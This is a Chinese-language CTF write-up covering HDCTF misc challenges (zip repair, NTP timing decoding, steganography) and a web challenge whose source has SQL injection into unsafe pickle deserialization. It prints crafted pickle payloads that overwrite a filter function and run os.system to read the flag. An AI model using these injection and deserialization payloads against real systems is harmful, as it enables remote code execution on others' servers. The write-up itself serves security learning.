本文最后更新于 148 天前,其中的信息可能已经有所发展或是发生改变。
淦,以为写完,实际上并没有
Misc
Solver的开拓之路
- 解压,
/assets/MiHoYoSDKRes/HttpServerResources/audio
存在s3cret.zip
和一个mp3,明文攻击,兽音译者
!汪喵喵喵喵汪汪呜汪!汪喵汪汪呜呜呜喵呜喵呜汪!!!呜!喵!汪喵呜喵呜喵喵喵汪汪!汪!汪喵汪汪呜呜!汪呜喵呜汪喵汪汪呜!喵!汪喵!!!喵喵喵汪呜汪呜喵汪喵汪汪!汪喵汪呜喵呜汪喵汪汪汪!喵!汪汪喵呜!喵喵喵汪汪汪汪呜汪喵汪汪呜!汪呜呜喵呜汪!汪!喵!喵!汪汪汪喵呜喵喵喵汪汪!喵呜汪喵汪汪!汪呜汪呜喵呜汪喵喵喵喵!喵!汪汪喵喵喵喵喵喵汪呜喵!!汪喵汪汪!喵喵!呜喵呜汪喵汪汪喵!喵!汪喵!!呜喵喵喵汪汪呜!喵汪喵汪汪!喵汪汪呜喵呜汪喵汪!!!喵!汪汪喵汪喵喵喵喵汪呜汪汪汪汪喵汪汪!喵!喵呜喵呜汪喵汪!呜!喵!汪汪汪喵!喵喵喵汪呜喵!喵汪喵汪汪!喵汪汪呜喵呜汪喵喵喵呜!喵!汪喵喵喵喵喵喵喵汪汪喵汪喵汪喵汪汪呜喵呜喵呜喵呜汪!喵!喵!喵!汪汪汪!喵呜
Ez_mc
NBTExplorer
修改存档权限,allowCommands=1
,give获得假flag和密码
已将1个[DASCTF{fake_flag},你被骗了!!!,但奖励你一个PASS=HDCTFWIN!]
- 解压压缩包得到
.svp
文件,使用特定软件打开,高为1,低位0,解MorseCode
套娃是你的谎言
- 部分流量前部存在一些base字符串,解一下可以得到
pass
和fake_flag
- 其次还可以分离得到一个压缩包,需要修一下文件,官方WP的描述是改为AES加密,想不到,根本想不到,这么修还是第一次见
- 先修头部,可以看到文件名的长度
ushort frFileNameLength
为23字节,扩展数据ushort frExtraFieldLength
长度为11字节,从.txt
以后的11字节内容应当为扩展数据,但此处已经进入数据区,缺了11个字节,我们正常压缩一个AES加密的压缩包看看
- 其11字节内容为
01 99 07 00 02 00 41 45 03 08 00
,同时8~9
字节内容记录了压缩方式为63 00
,据此修改错误的压缩包头部
- 同理中央目录记录区也存在相同的问题,缺少11字节的扩展数据,压缩方式的标记为也存在问题,修改后即可正常解压
- 然后是压缩包密码,为ntp协议的时间差*10转ascii,比赛时确实觉得ntp流量有些可疑了,正常情况下应该不会有这么多的ntp流量,但是没看出要乘10
data = [8.972008, 20.172647, 20.259451, 29.960382, 30.092938, 41.593605, 41.673149, 53.173706, 53.254845, 59.355902, 59.481600, 71.382342, 71.564876, 81.665601, 81.739929, 92.540906, 92.609521, 102.511004, 102.654159, 113.754793, 113.856658, 124.757317, 124.862347, 134.962710, 135.053263, 146.653963, 146.738695, 157.839347, 157.990778, 168.391236, 168.539019, 178.539767, 178.647972, 188.548326,188.710813, 200.311356, 200.487545, 210.688332, 210.829233]
data = [round((data[i + 1] - data[i]) * 10) for i in range(0, len(data) - 1, 2)]
print(bytes(data).decode())
# pass=welcometohdctf
# 整个都是密码
- 解压得到google在线表格地址
你能发现其中的秘密吗(三选一)
https://docs.google.com/spreadsheets/d/1pV81jX6C6tEekw0MtSYl05vQzVujULuzQPJdhtZpjHk/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1-cPoMOnVj7cyMnIyMY7K3HSd_tliGWm67jrA9M7_PV8/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1qCdP2PNu6KlTSxrD5Mvf6y7pie_mRSs3YEKySPTVTb4/edit?usp=sharing
- 应该是隔了很久才复现,在线文档有点儿问题了,可以看到表18 36 47中的base64
REFTQ1RGe1RoM19OM3N0aW5nX2RvSUlfaXNfeW91cl8xaWUhISEhfQ==
谐乐大典
- 文件名0宽
- 手动提取封面,oursecret解密
- ps临近法取点
- Maxicode解码
Web
OtenkiImp
- 信息搜集,aiohttp这个版本存在走私https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w
Python/3.9 aiohttp/3.8.4
- /hint
from aiohttp import web
import time
import json
import base64
import pickle
import time
import aiomysql
from settings import config, messages
async def mysql_init(app):
mysql_conf = app['config']['mysql']
while True:
try:
mysql_pool = await aiomysql.create_pool(host=mysql_conf['host'],
port=mysql_conf['port'],
user=mysql_conf['user'],
password=mysql_conf['password'],
db=mysql_conf['db'])
break
except:
time.sleep(5)
app.on_shutdown.append(mysql_close)
app['mysql_pool'] = mysql_pool
return app
async def mysql_close(app):
app['mysql_pool'].close()
await app['mysql_pool'].wait_closed()
async def index(request):
with open("./static/index.html", "r", encoding="utf-8") as f:
html = f.read()
return web.Response(text=html, content_type="text/html")
async def waf(request):
return web.Response(text=messages[0], status=403)
def check(string):
black_list = [b'R', b'i', b'o', b'b', b'V', b'__setstate__']
white_list = [b'__main__', b'builtins', b'contact', b'time', b'dict', b'reason']
try:
s = base64.b64decode(string)
except:
return False
for i in white_list:
s = s.replace(i, b'')
for i in black_list:
if i in s:
return False
return True
async def getWishes(request):
wishes = []
id = request.query.get("id")
try:
pool = request.app['mysql_pool']
async with pool.acquire() as conn:
async with conn.cursor() as cur:
try:
id = str(int(id))
sql = 'select id,wish from wishes where id={id}'.format(
id=id)
except:
sql = 'select id,wish from wishes'
await cur.execute(sql)
datas = await cur.fetchall()
except:
return web.Response(text=messages[1])
for (id, wish) in datas:
if check(wish):
wishes.append(pickle.loads(base64.b64decode(wish)))
return web.Response(text=json.dumps(wishes), content_type="application/json")
async def addWishes(request):
data = {}
if request.query.get("contact") and request.query.get("place") and request.query.get("reason") and request.query.get("date") and request.query.get("id"):
data["contact"] = request.query.get("contact")
data["place"] = request.query.get("place")
data["reason"] = request.query.get("reason")
data["date"] = request.query.get("date")
data["timestamp"] = int(time.time()*1000)
id = request.query.get("id")
wish = base64.b64encode(pickle.dumps(data))
else:
return web.Response(text=messages[3])
try:
pool = request.app['mysql_pool']
async with pool.acquire() as conn:
async with conn.cursor() as cur:
sql = 'insert into wishes(`id`, `wish`) values ({id}, "{wish}")'.format(
id=id, wish=wish.decode())
await cur.execute(sql)
return web.Response(text=messages[2])
except:
return web.Response(text=messages[1])
async def rmWishes(request):
try:
pool = request.app['mysql_pool']
async with pool.acquire() as conn:
async with conn.cursor() as cur:
sql = 'delete from wishes'
await cur.execute(sql)
return web.Response(text=messages[2])
except:
return web.Response(text=messages[1])
async def hint(request):
with open(__file__, 'r') as f:
source = f.read()
return web.Response(text=source)
if __name__ == '__main__':
app = web.Application()
app['config'] = config
app.router.add_static('/static', path='./static')
app.add_routes([web.route('*', '/', index),
web.route('*', '/waf', waf),
web.route('*', '/addWishes', addWishes),
web.get('/getWishes', getWishes),
web.post('/rmWishes', rmWishes),
web.get('/hint', hint)])
app = mysql_init(app)
web.run_app(app, port=5000)
- 很明显,要通过sql注入写入恶意数据然后打pickle反序列化
async def getWishes(request):
wishes = []
id = request.query.get("id")
try:
pool = request.app['mysql_pool']
async with pool.acquire() as conn:
async with conn.cursor() as cur:
try:
id = str(int(id))
sql = 'select id,wish from wishes where id={id}'.format(
id=id)
except:
sql = 'select id,wish from wishes'
await cur.execute(sql)
datas = await cur.fetchall()
except:
return web.Response(text=messages[1])
for (id, wish) in datas:
if check(wish):
wishes.append(pickle.loads(base64.b64decode(wish)))
return web.Response(text=json.dumps(wishes), content_type="application/json")
...
async def addWishes(request):
data = {}
if request.query.get("contact") and request.query.get("place") and request.query.get("reason") and request.query.get("date") and request.query.get("id"):
data["contact"] = request.query.get("contact")
data["place"] = request.query.get("place")
data["reason"] = request.query.get("reason")
data["date"] = request.query.get("date")
data["timestamp"] = int(time.time()*1000)
id = request.query.get("id")
wish = base64.b64encode(pickle.dumps(data))
else:
return web.Response(text=messages[3])
try:
pool = request.app['mysql_pool']
async with pool.acquire() as conn:
async with conn.cursor() as cur:
sql = 'insert into wishes(`id`, `wish`) values ({id}, "{wish}")'.format(
id=id, wish=wish.decode())
await cur.execute(sql)
return web.Response(text=messages[2])
except:
return web.Response(text=messages[1])
...
- 直接命令执行行不通,check很死,那么先覆盖check函数,数据无所谓,报错不影响
b"c__main__\n__dict__\n(S'check'\ncbuiltins\nany\nu0\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x07contact\x94\x8c\x011\x94\x8c\x05place\x94\x8c\x012\x94\x8c\x06reason\x94\x8c\x013\x94\x8c\x04date\x94\x8c\x014\x94\x8c\ttimestamp\x94\x8a\x06f`\x90\xfe\x8e\x01u."
0: c GLOBAL '__main__ __dict__'
19: ( MARK
20: S STRING 'check'
29: c GLOBAL 'builtins any'
43: u SETITEMS (MARK at 19)
44: 0 POP
45: \x80 PROTO 4
47: \x95 FRAME 75
56: } EMPTY_DICT
57: \x94 MEMOIZE (as 0)
58: ( MARK
59: \x8c SHORT_BINUNICODE 'contact'
68: \x94 MEMOIZE (as 1)
69: \x8c SHORT_BINUNICODE '1'
72: \x94 MEMOIZE (as 2)
73: \x8c SHORT_BINUNICODE 'place'
80: \x94 MEMOIZE (as 3)
81: \x8c SHORT_BINUNICODE '2'
84: \x94 MEMOIZE (as 4)
85: \x8c SHORT_BINUNICODE 'reason'
93: \x94 MEMOIZE (as 5)
94: \x8c SHORT_BINUNICODE '3'
97: \x94 MEMOIZE (as 6)
98: \x8c SHORT_BINUNICODE 'date'
104: \x94 MEMOIZE (as 7)
105: \x8c SHORT_BINUNICODE '4'
108: \x94 MEMOIZE (as 8)
109: \x8c SHORT_BINUNICODE 'timestamp'
120: \x94 MEMOIZE (as 9)
121: \x8a LONG1 1713667858534
129: u SETITEMS (MARK at 58)
130: . STOP
highest protocol among opcodes = 4
- 命令执行
b'(\x8c\x1acat /flag > ./static/1.txtios\nsystem\n0\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x07contact\x94\x8c\x011\x94\x8c\x05place\x94\x8c\x012\x94\x8c\x06reason\x94\x8c\x013\x94\x8c\x04date\x94\x8c\x014\x94\x8c\ttimestamp\x94\x8a\x06f`\x90\xfe\x8e\x01u.'
0: ( MARK
1: \x8c SHORT_BINUNICODE 'cat /flag > ./static/1.txt'
29: i INST 'os system' (MARK at 0)
40: 0 POP
41: \x80 PROTO 4
43: \x95 FRAME 75
52: } EMPTY_DICT
53: \x94 MEMOIZE (as 0)
54: ( MARK
55: \x8c SHORT_BINUNICODE 'contact'
64: \x94 MEMOIZE (as 1)
65: \x8c SHORT_BINUNICODE '1'
68: \x94 MEMOIZE (as 2)
69: \x8c SHORT_BINUNICODE 'place'
76: \x94 MEMOIZE (as 3)
77: \x8c SHORT_BINUNICODE '2'
80: \x94 MEMOIZE (as 4)
81: \x8c SHORT_BINUNICODE 'reason'
89: \x94 MEMOIZE (as 5)
90: \x8c SHORT_BINUNICODE '3'
93: \x94 MEMOIZE (as 6)
94: \x8c SHORT_BINUNICODE 'date'
100: \x94 MEMOIZE (as 7)
101: \x8c SHORT_BINUNICODE '4'
104: \x94 MEMOIZE (as 8)
105: \x8c SHORT_BINUNICODE 'timestamp'
116: \x94 MEMOIZE (as 9)
117: \x8a LONG1 1713667858534
125: u SETITEMS (MARK at 54)
126: . STOP
highest protocol among opcodes = 4